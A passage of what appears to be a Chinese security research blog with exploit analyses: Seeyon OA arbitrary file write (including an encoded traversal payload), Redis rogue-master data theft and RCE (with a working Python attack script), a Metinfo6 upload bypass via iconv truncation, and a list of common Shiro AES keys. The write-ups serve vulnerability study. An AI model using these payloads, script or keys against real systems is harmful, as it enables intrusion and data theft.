System.out.println(var3.toString());
return false;
}
}

​ 在MsgFileSave方法当中, 直接使用拼接的路径与this.FMsgFile实现了文件保存。所以只要能够控制option、fileName和this.FMsgFile即可实现任意文件保存。这三个变量均来自iMsgServer2000实例对象, 在DBStep.jar包中能够找到iMsgServer2000类的代码。iMsgServer2000实例对象由handWriteManager.readVariant方法处理用户发送的request生成。

1
2
3
4
5
6
7
8
9
10
11
12
public void readVariant(HttpServletRequest request, iMsgServer2000 msgObj) {
msgObj.ReadPackage(request);
this.fileId = Long.valueOf(msgObj.GetMsgByName("RECORDID"));
this.createDate = Datetimes.parseDatetime(msgObj.GetMsgByName("CREATEDATE"));
String _originalFileId = msgObj.GetMsgByName("originalFileId");
this.needClone = _originalFileId != null && !"".equals(_originalFileId.trim());
this.needReadFile = Boolean.parseBoolean(msgObj.GetMsgByName("needReadFile"));
if (this.needClone) {
String _originalCreateDate = msgObj.GetMsgByName("originalCreateDate");
this.originalFileId = Long.valueOf(_originalFileId);
this.originalCreateDate = Datetimes.parseDatetime(_originalCreateDate);
}

​ 接着调用iMsgServer2000#ReadPackage生成msgObj对象, 在生成msgObj对象后从该对象获取参数值, 可以看出msgObj中必须含有RECORDID、CREATEDATE参数并且需要符合它的数据类型, 在获取到参数值后有进行类型转换等操作, 如果获取不到参数值或获取到的参数值与相应的数据类型不匹配, 那么在进行类型转换时会出现异常进而退出流程。这两个参数值和最终的漏洞利用并无关系, 只是为了避免异常而必须设置, 在该方法中可以看到还获取了一些其他的参数值, 不过其他的就算不设置也不会发生异常。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public byte[] ReadPackage(HttpServletRequest var1) {
int var2 = 0;
boolean var3 = false;
boolean var4 = false;
this.Charset = var1.getCharacterEncoding();
if (this.Charset == null) {
this.Charset = var1.getHeader("charset");
}

if (this.Charset == null) {
this.Charset = "GB2312";
}

try {
int var8 = var1.getContentLength();

int var7;
for(this.FStream = new byte[var8]; var2 < var8; var2 += var7) {
var1.getInputStream();
var7 = var1.getInputStream().read(this.FStream, var2, var8 - var2);
}

if (this.FError == "") {
this.StreamToMsg();
}

​ 该方法中, 首先获取request中的Content-Length, 然后从request body中获取对应Content-Length字节数的内容保存到this.FStream中, 接着继续调用当前类中的StreamToMsg方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
private boolean StreamToMsg() {
byte var2 = 64;
boolean var3 = false;
boolean var4 = false;
boolean var5 = false;
boolean var6 = false;
String var7 = "";
String var8 = "";
this.FMd5Error = false;

try {
byte var14 = 0;
String var1 = new String(this.FStream, var14, var2);
this.FVersion = var1.substring(0, 15); // version
int var11 = Integer.parseInt(var1.substring(16, 31).trim()); // 355
int var12 = Integer.parseInt(var1.substring(32, 47).trim()); // 0
int var13 = Integer.parseInt(var1.substring(48, 63).trim()); // 666
this.FFileSize = var13; // var13 fileSize
int var15 = var14 + var2; // 0 + 64 = 64
if (var11 > 0) {
this.FMsgText = new String(this.FStream, var15, var11);
}

var15 += var11;
if (var12 > 0) {
this.FError = new String(this.FStream, var15, var12);
}

var15 += var12;
this.FMsgFile = new byte[var13];
if (var13 > 0) {
for(int var9 = 0; var9 < var13; ++var9) {
this.FMsgFile[var9] = this.FStream[var9 + var15];
}

var15 += var13;
if (this.FStream.length >= var15 + 32) {
var7 = new String(this.FStream, var15, 32);
var8 = this.MD5Stream(this.FMsgFile);
if (var7.compareToIgnoreCase(var8) != 0) {
this.SetMsgByName("DBSTEP", "ERROR");
this.FMd5Error = true;
} else {
this.FMd5Error = false;
}
}
}

​ 在该方法中获取流的前64字节保存到var1中, 前64字节类似报文头,前16字节为版本信息,16-31字节为FMsgText的大小(option、filename变量都是从FMsgText中获取),32到47字节为错误信息的大小 直接定义为0, 48到63字节为FMsgFile的大小。如果流中48到64字节转整后的内容(即var13变量)大于0, 那么会从 var15字节后开始读取内容保存到FMsgFile成员属性中, 从上面代码中可以看出var15 = var14 + var2 + var11 + var12 即跳过报文头和FMsgText,然后获取var13(即48到63字节内容转整)个字节保存到FMsgFile属性当中。

​ 在获取到FMsgFile后, 后面有类似校验签名的一段代码, 校验的是FMsgFile内容的md5值是否与FMsgFile后32字节内容相等, 流传的poc中在最后也带了一段md5,不过可以看出如果整个流的长度如果不大于var15 + 32 (即FMsgFile后的内容不超过32字节)就不会进入该逻辑。不过就算进入该逻辑且签名错了也没有影响, 在其他操作的地方并没有管这签名的正确性。

​ option、fileName变量都是通过调用iMsgServer2000类的GetMsgByName方法获取参数值,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
public String GetMsgByName(String var1) {
boolean var2 = false;
boolean var3 = false;
String var4 = "";
String var6 = var1.trim().concat("=");
int var7 = this.FMsgText.indexOf(var6);
if (var7 != -1) {
int var8 = this.FMsgText.indexOf("\r\n", var7 + 1);
var7 += var6.length();
if (var8 != -1) {
String var5 = this.FMsgText.substring(var7, var8);
var4 = this.DecodeBase64(var5);
return var4;
} else {
return var4;
}
} else {
return var4;
}
}

​ GetMsgByName方法当中, 从FMsgText属性值中获取参数值, 获取到参数值为”=”与”\r\n”之间的内容, 获取到参数值后会调用当前对象的DecodeBase64方法进行处理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
public String DecodeBase64(String var1) {
ByteArrayOutputStream var2 = new ByteArrayOutputStream();
String var3 = "";
byte[] var8 = new byte[4];

try {
int var5 = 0;
byte[] var7 = var1.getBytes();

while(var5 < var7.length) {
for(int var4 = 0; var4 <= 3; ++var4) {
if (var5 >= var7.length) {
var8[var4] = 64;
} else {
int var6 = this.TableBase64.indexOf(var7[var5]);
if (var6 < 0) {
var6 = 65;
}

var8[var4] = (byte)var6;
}

++var5;
}

var2.write((byte)(((var8[0] & 63) << 2) + ((var8[1] & 48) >> 4)));
if (var8[2] != 64) {
var2.write((byte)(((var8[1] & 15) << 4) + ((var8[2] & 60) >> 2)));
if (var8[3] != 64) {
var2.write((byte)(((var8[2] & 3) << 6) + (var8[3] & 63)));
}
}
}
} catch (StringIndexOutOfBoundsException var11) {
this.FError = this.FError + var11.toString();
System.out.println(var11.toString());
}

try {
var3 = var2.toString(this.Charset);
} catch (UnsupportedEncodingException var10) {
System.out.println(var10.toString());
}

return var3;
}

​ DecodeBase64方法是原始base64decode方法的变异, 从EncodeBase64方法当中可以看出其实就是映射了一个转换表, 对应的转换表如下

1
2
private String TableBase64 = "gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6";
private String TableBase60 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";

​ 写个脚本实现该转换表即可加解密。

1
2
3
4
5
6
7
8
9
10
11
12
13
import string
import base64

STANDARD_ALPHABET = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='
CUSTOM_ALPHABET = 'gx74KW1roM9qwzPFVOBLSlYaeyncdNbI=JfUCQRHtj2+Z05vshXi3GAEuT/m8Dpk6'

def encode(input):
ENCODE_TRANS = string.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
return base64.b64encode(input).translate(ENCODE_TRANS)

def decode(input):
DECODE_TRANS = string.maketrans(CUSTOM_ALPHABET, STANDARD_ALPHABET)
return base64.b64decode(input.translate(DECODE_TRANS))

​ Python3.4 已经没有 string.maketrans() 方法, 所以3.4及后续版本需要稍微修改下代码。

1
2
3
def encode(input):
ENCODE_TRANS = input.maketrans(STANDARD_ALPHABET, CUSTOM_ALPHABET)
return str(base64.b64encode(input.encode("utf-8"))).translate(ENCODE_TRANS)

​ 首先需要使option的参数值为SAVEASIMG才能进入保存文件逻辑, 加密后为S3WYOSWLBSGr。保存路径是由tempPath和fileName组成。

1
2
3
4
String fileName = msgObj.GetMsgByName("FILENAME");
String tempFolder = (new File((new File("")).getAbsolutePath())).getParentFile().getParentFile().getPath();
String tempPath = tempFolder + "/base/upload/taohongTemp";
File folder = new File(tempPath);

​ tempFolder中进行了两次目录穿越, 应该是为了防止用户把文件写入到web目录当中, 不过因为fileName完全未过滤可以按照默认配置补全路径最终实现保存文件到web目录当中。所以这里首先需要目录穿越出/base/upload/taohongTemp三层目录, 然后按照默认配置补全路径, 使fileName为..\..\..\ApacheJetspeed\webapps\seeyon\abcd.txt, 编码得到qfTdqfTdqfTdVaxJeAJQBRl3dExQyYOdNAlfeaxsdGhiyYlTcATdeYMUy7T3brV6, 在算字节长度时, 需要算上\r\n。

pic1

pic2

redis-post-exploitation 学习

简介

前两天Redis通过加载扩展实现RCE的方法突然火了起来,自己就去读了下原文ppt,发现里面不止写了RCE的利用,还附带了一些其他的就学习了一下。

Data Retrieval

该利用实现方法为将目标Redis设置为Rogue的slave数据库,通过rogue向slave发送命令获取数据。这个主要存在几个问题, 一是当目标Redis被设置为一台新redis的slave后会自动进行fullsync,导致目标Redis的原数据被清除。二是master如何给slave发命令, 查了下文档并没有找到主动发命令的方法。三是,slave的数据如何返回到master中。
第一个问题比较好解决,自己搭建Rogue后只要slave发送sync请求时返回CONTINUE即可实现不清空slave的数据。

1
2
3
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
resp = "+CONTINUE " + "Z" * 40 + " 0" + CLRF
phase = 3

第二个问题,文档里没有翻到master给slave发命令的指令, 但是在同步完成后master是可以给slave返回命令执行的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  if ((replication_cron_loops % server.repl_ping_slave_period) == 0 &&
listLength(server.slaves))
{
/* Note that we don't send the PING if the clients are paused during
* a Redis Cluster manual failover: the PING we send will otherwise
* alter the replication offsets of master and slave, and will no longer
* match the one stored into 'mf_master_offset' state. */
int manual_failover_in_progress =
server.cluster_enabled &&
server.cluster->mf_end &&
clientsArePaused();

if (!manual_failover_in_progress) {
ping_argv[0] = createStringObject("PING",4);
replicationFeedSlaves(server.slaves, server.slaveseldb,
ping_argv, 1);
decrRefCount(ping_argv[0]);
}
}

从代码里看出,在同步完成后写死了只会返回PING,所以这里自己搭建Rogue返回任意指令即可。
第三个问题,在开启调试模式之后会返回数据到Master中, 所以按照PPT里的流程编写Rogue即可。

-w1067

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
import socket
import time

CLRF = "\r\n"

def din(sock, cnt=4096):
global verbose
msg = sock.recv(cnt)

return msg.decode('gb18030')

def dout(sock, msg):
global verbose
if type(msg) != bytes:
msg = msg.encode()
sock.send(msg)

def encode_cmd_arr(arr):
cmd = ""
cmd += "*" + str(len(arr))
for arg in arr:
cmd += CLRF + "$" + str(len(arg))
cmd += CLRF + arg
cmd += "\r\n"
return cmd

def encode_cmd(raw_cmd):
return encode_cmd_arr(raw_cmd.split(" "))

def decode_cmd(cmd):
if cmd.startswith("*"):
raw_arr = cmd.strip().split("\r\n")
return raw_arr[2::2]
if cmd.startswith("$"):
return cmd.split("\r\n", 2)[1]
return cmd.strip().split(" ")

class Remote:
def __init__(self, rhost, rport):
self._host = rhost
self._port = rport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.connect((self._host, self._port))

def send(self, msg):
dout(self._sock, msg)

def recv(self, cnt=65535):
return din(self._sock, cnt)

def do(self, cmd):
self.send(encode_cmd(cmd))
buf = self.recv()
return buf

class RogueServer:
def __init__(self, lhost, lport):
self._host = lhost
self._port = lport
self._sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self._sock.bind(('0.0.0.0', self._port))
self._sock.listen(10)
self.i = 0

def close(self):
self._sock.close()

def handle(self, data):
cmd_arr = decode_cmd(data)
resp = ""
phase = 0
# print(data)
if cmd_arr[0].startswith("PING"):
resp = "+PONG" + CLRF
phase = 1
elif 'ACK' in data:
if self.i % 3 == 0:
payload = "SCRIPT DEBUG SYNC"
resp = encode_cmd(payload)
elif self.i % 3 == 1:
payload = "eval redis.breakpoint() 0"
resp = encode_cmd(payload)
phase = 4
else:
payload = "r keys *"
resp = encode_cmd(payload)
self.i += 1

elif cmd_arr[0].startswith("REPLCONF"):
resp = "+OK" + CLRF
phase = 2
elif cmd_arr[0].startswith("PSYNC") or cmd_arr[0].startswith("SYNC"):
resp = "+CONTINUE " + "Z" * 40 + " 0" + CLRF
phase = 3
return resp, phase

def exp(self):
cli, addr = self._sock.accept()
while True:
data = din(cli, 1024)
if len(data) == 0:
print("data == 0")
break
resp, phase = self.handle(data)

if phase == 4:
dout(cli, resp)
data = din(cli, 1024)
# payload = raw_input("Commands:")

payload = "r keys *"
while True:
time.sleep(1)
payload = input("[*]Master to Slave Command:")
if payload == 'exit':
break
resp = encode_cmd(payload)
dout(cli, resp)
data = din(cli, 1024)
print(data)
break
else:
dout(cli, resp)


RogueServer("127.0.0.1", 9990).exp()

该方法在redis bind到127,SSRF且无回显的场景中可以快速拿到数据库中的所有数据.
Docker中的redis bind到127进行测试.
-w1238

P.S.
PPT中提到的redis5版本后不能使用config命令, 说的是在script模式中不能使用config,正常模式下能够正常使用,看到有不少人理解错了顺便说一下。
-w1201

RCE

redis4中新增了添加扩展功能,可以自己编译so load到redis中使用。如果能够上传编译好的so到redis服务器中,即可通过module load加载扩展实现RCE。在以前的利用中,是通过持久化数据到crontab或authorized_keys或web目录中,但是这种方法有很大的一个问题是我们不能完全控制文件内容。
Redis在进行fullsync时, 会把master返回的数据直接保存到临时文件中,然后再重命名为dbfilename对应的文件名, 这里自己自己搭建rogue server,即可返回任意内容实现任意文件上传,然后写入so即可实现RCE。

1
2
3
4
5
if (rename(server.repl_transfer_tmpfile,server.rdb_filename) == -1) {
serverLog(LL_WARNING,"Failed trying to rename the temp DB into dump.rdb in MASTER <-> SLAVE synchronization: %s", strerror(errno));
cancelReplicationHandshake();
return;
}

-w1185
在redis4中, fullsync使用的协议格式为plaintext,而redis5中使用了custom格式。一开始有开源的rogue server直接使用data.startswith(“PSYNC”)来决定返回内容,我测试该脚本能在redis4成功而redis5失败,就是这个原因。

在进行FULLSYNC时, slave的数据会被完全清空且同步master的数据, 所以在利用时需要做好数据备份。
数据备份有两种常用的方法, 一是在利用前先save,在RCE后重启redis即可。二是创建一个公网redis,利用前将目标数据同步到公网redis中,利用完后目标REDIS再从公网redis中同步数据,这样不需要重启。

redis-sentinel

Sentinel常用来管理多个Redis服务器, 该服务的默认端口为26379, 并且sentinel中不会检测包中是否含有HOST:和POST,所以可以在SSRF中利用。
ppt中提到的利用方法为,首先在sentinel中监控大Rogue server, Rogue server中含有两个slave一个为另外的小Rogue server另一个为需要take over的redis。当大Rogue server断线时, Sentinel会从slave中按照slave_priorty等配置来选举出新的master。
当小Rogue server成为Master,目标Redis成为了slave后就可以接着使用之前的方法实现RCE。
当前还提到了一种更简单的利用方法,当Sentinel存在未授权时,可以使用Sentinel的Notification功能执行任意脚本。不过我测试redis-sentinel默认配置为sentinel deny-scripts-reconfig yes,没法利用。

References

https://github.com/Ridter/redis-rce
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
https://github.com/n0b0dyCN/redis-rogue-server

Metinfo6 Arbitrary File Upload Via Iconv Truncate

前言

放了好多年的一个漏洞, 不过也没看到有人发出来过,都快放忘了,最近朋友hw遇到了一个Metinfo,帮忙用这个洞打了一下还成功了。自己又去官网下载了最新的Metinfo 62版本看了下,最新版加了一些过滤不过还是能够绕过。

漏洞成功利用场景

最新版本无需登录, Windows + php<5.4

漏洞分析

/app/system/include/module/uploadify.class.php

1
2
3
4
5
6
7
class uploadify extends web {
public $upfile;
function __construct(){
parent::__construct();
global $_M;
$this->upfile = new upfile();
}

uploadify类继承web类, 在构造方法中调用了父类的构造方法, web类是一个前台基类,所以并不会做权限验证则uploadify类无需登录即可使用。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public function doupfile(){
global $_M;
$this->upfile->set_upfile();

$info['savepath'] = $_M['form']['savepath'];
$info['format'] = $_M['form']['format'];
$info['maxsize'] = $_M['form']['maxsize'];
$info['is_rename'] = $_M['form']['is_rename'];
$info['is_overwrite'] = $_M['form']['is_overwrite'];
$this->set_upload($info);

$back = $this->upload($_M['form']['formname']);
if($_M['form']['type']==1){
if($back['error']){
$back['error'] = $back['errorcode'];
}else{
$backs['path'] = $back['path'];

$backs['append'] = 'false';
$back = $backs;
}
}
$back['filesize'] = round(filesize($back['path'])/1024,2);
echo jsonencode($back);
}

$_M[‘form’] 是被metinfo处理后的GPC,所以能够被用户控制。
在该类的doupload方法当中,上传类所用到的部分配置能被用户控制,这里需要关注一下savepath,设置savepath时会被设置为绝对路径,我们可控的点为绝对路径的upload目录之后。

1
2
3
4
5
6
7
public function set($name, $value) {
if ($value === NULL) {
return false;
}
switch ($name) {
case 'savepath':
$this->savepath = path_standard(PATH_WEB.'upload/'.$value);

在设置完上传的基本配置后,接着调用upload方法。

1
2
3
4
5
6
public function upload($formname){
global $_M;

$back = $this->upfile->upload($formname);
return $back;
}

然后调用upfile对象的upload方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public function upload($form = '') {

global $_M;

if($form){
foreach($_FILES as $key => $val){
if($form == $key){
$filear = $_FILES[$key];
}
}
}
if(!$filear){
foreach($_FILES as $key => $val){
$filear = $_FILES[$key];
break;
}
}

在upload方法当中, 首先接收_FILES保存到filear变量当中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$this->getext($filear["name"]); //获取允许的后缀
if (strtolower($this->ext)=='php'||strtolower($this->ext)=='aspx'||strtolower($this->ext)=='asp'||strtolower($this->ext)=='jsp'||strtolower($this->ext)=='js'||strtolower($this->ext)=='asa') {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}

if ($_M['config']['met_file_format']) {
if($_M['config']['met_file_format'] != "" && !in_array(strtolower($this->ext), explode('|',strtolower($_M['config']['met_file_format']))) && $filear){
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
} else {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}

if ($this->format) {
if ($this->format != "" && !in_array(strtolower($this->ext), explode('|',strtolower($this->format))) && $filear) {
return $this->error($this->ext." {$_M['word']['upfileTip3']}");
}
}

接着获取上传文件名的后缀, 首先经过一次黑名单校验然后再继续白名单校验,在这里白名单校验后缀无法绕过所以只能上传以下格式文件
rar|zip|sql|doc|pdf|jpg|xls|png|gif|mp3|jpeg|bmp|swf|flv|ico

1
2
3
4
5
6
7
8
9
10
11
12
13
14
//文件名重命名
$this->set_savename($filear["name"], $this->is_rename);
//新建保存文件
if(stripos($this->savepath, PATH_WEB.'upload/') !== 0){
return $this->error($_M['word']['upfileFail2']);
}

if(strstr($this->savepath, './')){
return $this->error($_M['word']['upfileTip3']);
}

if (!makedir($this->savepath)) {
return $this->error($_M['word']['upfileFail2']);
}

在通过白名单校验之后,开始设置文件名,如果this->is_rename为false,那么上传的文件就不会被重命名,而is_rename可以由_M[‘form’][‘is_rename’]控制。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
protected function set_savename($filename, $is_rename) {
if ($is_rename) {
srand((double)microtime() * 1000000);
$rnd = rand(100, 999);
$filename = date('U') + $rnd;
$filename = $filename.".".$this->ext;
} else {
$name_verification = explode('.',$filename);
$verification_mun = count($name_verification);
if($verification_mun>2){
$verification_mun1 = $verification_mun-1;
$name_verification1 = $name_verification[0];
for($i=0;$i<$verification_mun1;$i++){
$name_verification1 .= '_'.$name_verification[$i];
}
$name_verification1 .= '.'.$name_verification[$verification_mun1];
$filename = $name_verification1;
}

$filename = str_replace(array(":", "*", "?", "|", "/" , "\\" , "\"" , "<" , ">" , "——" , " " ),'_',$filename);
if (stristr(PHP_OS,"WIN")) {
$filename_temp = @iconv("utf-8","GBK",$filename);
}else
{
$filename_temp = $filename;
}
$i=0;

$savename_temp=str_replace('.'.$this->ext,'',$filename_temp);

while (file_exists($this->savepath.$filename_temp)) {
$i++;
$filename_temp = $savename_temp.'('.$i.')'.'.'.$this->ext;
}
if ($i != 0) {
$filename = str_replace('.'.$this->ext,'',$filename).'('.$i.')'.'.'.$this->ext;
}
}

从该方法中可以看出保护,就算文件名不重命名, 在文件名中含有多个.的情况下, 除了最后一个.其他的都会被替换为_,所以并不能利用。
-w1041

设置完文件名后, 又开始对this->savepath保存目录进行检验, 同样savepath也可以由_M[‘form’][‘savepath’]设置。首先通过strstr检测路径中是否含有./字符,如果存在直接结束流程,所以也不能使用../进行目录穿越。不过在windows中还可以使用..\实现目录穿越。
接着调用makedir处理目录,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
function makedir($dir){

$dir = path_absolute($dir);

@clearstatcache();

if(file_exists($dir)){
$result=true;
}else{
$fileUrl = '';
$fileArr = explode('/', $dir);
$result = true;
foreach($fileArr as $val){
$fileUrl .= $val . '/';
if(!file_exists($fileUrl)){
$result = mkdir($fileUrl);
}
}
}
@clearstatcache();
return $result;
}

makedir方法的作用为判断一个目录是否存在,如果不存在会一层一层的创建目录。在处理完保存路径后,将路径和文件名拼接起来成为上传的目标地址,最终实现上传。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
//复制文件
$upfileok=0;
$file_tmp=$filear["tmp_name"];
$file_name=$this->savepath.$this->savename;

if (stristr(PHP_OS,"WIN")) {
$file_name = @iconv("utf-8","GBK",$file_name);
}

if (function_exists("move_uploaded_file")) {
if (move_uploaded_file($file_tmp, $file_name)) {
$upfileok=1;
} else if (copy($file_tmp, $file_name)) {
$upfileok=1;
}
} elseif (copy($file_tmp, $file_name)) {
$upfileok=1;
}

最终的保存文件名由目录和文件名拼接而成,文件名来自_FILES变量,目录来自GPC。在PHP的_FILES文件上传当中,并不存在00截断问题,并且多后缀文件名会被处理,所以这里我们重点关注目录。目录是来自_M[‘form’][‘savepath’]所以用户可控,那么如果存在截断漏洞可以尝试将目录控制为xxx.php\0最终保存路径类似c:/xxx/xxx.php\0/a.jpg实现上传php文件。不过在metinfo当中,在处理GPC保存到_M[‘form’][‘savepath’]时数据会经过addslashes处理,如果这里不会存在00截断问题。

1
2
3
4
5
6
if (stristr(PHP_OS,"WIN")) {
$file_name = @iconv("utf-8","GBK",$file_name);
}

if (function_exists("move_uploaded_file")) {
if (move_uploaded_file($file_tmp, $file_name)) {

虽然不存在00截断问题,但是在这里可以看到如果系统为windows,在保存文件前对保存路径使用iconv转换了字符集。

iconv truncate

在iconv转换字符集时,如果字符串中存在源字符集序列不允许的字符时会造成截断问题。UTF-8在单字节时允许的范围为0x00-0x7F, 如果转换的字符不在该范围之内会出PHP_ICONV_ERR_ILLEGAL_SEQ错误, 并且在出错之后不再处理后面的字符造成截断。

不过从上图可以看出在php<5.4时,转换字符集能够造成截断,但在5.4及以上版本中会返回false。


从上图可以看出,在PHP5.3当中,只要out_buffer不为空无论err为何值都能正常返回。


而在PHP5.4当中, 只有当err为PHP_ICONV_ERR_SUCCESS且out_buffer不为空时才会正常返回, 否则返回FALSE。


-w704

再回到metinfo当中,首先尝试把savepath设置为xxx.php%81测试,失败。

1
2
3
if (!makedir($this->savepath)) {
return $this->error($_M['word']['upfileFail2']);
}

这是因为metinfo会调用makedir对目录处理,如果目录不存在那么会调用mkdir方法进行处理。这里xxx.php%81目录肯定不存在那么会调用mkdir创建该目录,但是mkdir时如果目录名存在不合法字符会创建失败,一旦目录创建失败将会退出流程。所以这里我们需要使用目录穿越, 将savepath控制为类似c:/xxxx/upload/xxx.php\x80/../,在windows当中就算目录不存在也能够实现目录穿越,所以该目录会判断为存在就不会再调用mkdir来创建目录。
之前也谈到了,在对savepath的校验中有检测是否含有./字符,所以不能再使用../实现目录穿越,但是在windows下可以使用..\实现目录穿越。
-w628
不过测试发现,目录设置为a.php%81/..\时, 直接被保存到了upload中,自己设置的目录消失了。

在metinfo中,对GPC处理保存到_M[‘form’]时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
protected function load_form() {
global $_M;
$_M['form'] =array();
isset($_REQUEST['GLOBALS']) && exit('Access Error');

foreach($_COOKIE as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_POST as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}
foreach($_GET as $_key => $_value) {
$_key{0} != '_' && $_M['form'][$_key] = daddslashes($_value);
}

调用daddslashes对GPC处理,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function daddslashes($string, $force = 0) {
!defined('MAGIC_QUOTES_GPC') && define('MAGIC_QUOTES_GPC', get_magic_quotes_gpc());
if(!MAGIC_QUOTES_GPC || $force) {
if(is_array($string)) {
foreach($string as $key => $val) {
$string[$key] = daddslashes($val, $force);
}
} else {
if(!defined('IN_ADMIN')){
$string = trim(addslashes(sqlinsert($string)));
}else{
$string = trim(addslashes($string));
}
}
}
return $string;
}

可以看到除了addslashes处理,如果没有设置IN_ADMIN常量还会经过sqlinsert处理,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
function sqlinsert($string){

if(is_array($string)){
foreach($string as $key => $val) {
$string[$key] = sqlinsert($val);
}
}else{
$string_old = $string;
$string = str_ireplace("\\","/",$string);
$string = str_ireplace("\"","/",$string);
$string = str_ireplace("'","/",$string);
$string = str_ireplace("*","/",$string);
$string = str_ireplace("%5C","/",$string);
$string = str_ireplace("%22","/",$string);
$string = str_ireplace("%27","/",$string);
$string = str_ireplace("%2A","/",$string);
$string = str_ireplace("~","/",$string);
$string = str_ireplace("select", "\sel\ect", $string);
$string = str_ireplace("insert", "\ins\ert", $string);
$string = str_ireplace("update", "\up\date", $string);
$string = str_ireplace("delete", "\de\lete", $string);
$string = str_ireplace("union", "\un\ion", $string);
$string = str_ireplace("into", "\in\to", $string);
$string = str_ireplace("load_file", "\load\_\file", $string);
$string = str_ireplace("outfile", "\out\file", $string);
$string = str_ireplace("sleep", "\sle\ep", $string);
$string = strip_tags($string);

if($string_old!=$string){
$string='';
}
$string = trim($string);
}
return $string;
}

在该方法当中,会将\替换为/,并且如果替换后的字符串不等于替换前的字符串那么将会直接被设置为’’
所以savepath被置空,文件就被保存到了upload目录当中。
不过这里是可以绕过的,如果能够找到一个设置了IN_ADMIN常量并且能够加载任意类的文件就能够绕过sqlinsert。

admin/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
# MetInfo Enterprise Content Management System
# Copyright (C) MetInfo Co.,Ltd (http://www.metinfo.cn). All rights reserved.

define('IN_ADMIN', true);

$M_MODULE='admin';
if(@$_GET['m'])$M_MODULE=$_GET['m'];
if(@!$_GET['n'])$_GET['n']="index";
if(@!$_GET['c'])$_GET['c']="index";
if(@!$_GET['a'])$_GET['a']="doindex";
@define('M_NAME', $_GET['n']);
@define('M_MODULE', $M_MODULE);
@define('M_CLASS', $_GET['c']);
@define('M_ACTION', $_GET['a']);
require_once '../app/system/entrance.php';
# This program is an open source system, commercial use, please consciously to purchase commercial license.
# Copyright (C) MetInfo Co., Ltd. (http://www.metinfo.cn). All rights reserved.
?>

该文件中,设置了IN_ADMIN常量并且可以自己控制加载的module、class等且无权限验证,所以使用这个文件来加载uploadify类实现上传就能够绕过sqlinsert使用..\实现目录穿越。

利用

打个码, 需要的自己调一下代码吧。
-w1292

Generate all unserialize payload via serialVersionUID

简介

最近遇到了个shiro老版本的反序列漏洞, 但是只能在用URLDNS的时候能成功, 除了CommonsCollections在shiro上是不行的, 使用其他gadget的时候也失败了, 怀疑有SUID的原因。
java在打反序列时, 如果字节流中的serialVersionUID与目标服务器对应类中的serialVersionUID不同时就会出现异常。
在目标出现异常时, 如果会输出异常信息并且爆出SUID的情况下解决起来比较容易。
但是在通常场景下, 目标服务器都不会输出异常信息,
SUID不同原因基本都是因为jar包版本不同所造成(在未显示定义serialVersionUID的情况下, 会通过computeDefaultSUID来计算得出SUID, 不同版本jar包可能存在不同的方法导致算出的SUID不同),
在不会输出异常信息的场景下, 由于不知道目标服务器jar包的SUID, 所以只有使用所有可能的SUID来生成反序列payload一个一个的进行尝试,
所以这里通过获取所有jar包版本并且调用这些版本的jar包来生成反序列payload。

Shiro AES key

Shiro的反序列payload在经过base64解码, aes解密后才会进行反序列。
老版本shiro因为硬编码了默认AES的秘钥导致了问题, 但是很多时候遇到的并不都是默认的秘钥。不过很多代码都是抄抄改改, 所以从github上爬下来了一些用得比较多的的秘钥。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
4AvVhmFLUs0KTA3Kprsdag==    :   190
3AvVhmFLUs0KTA3Kprsdag== : 157
Z3VucwAAAAAAAAAAAAAAAA== : 135
2AvVhdsgUs0FSA3SDFAdag== : 114
wGiHplamyXlVB11UXWol8g== : 35
kPH+bIxk5D2deZiIxcaaaA== : 27
fCq+/xW488hMTCD+cmJ3aQ== : 9
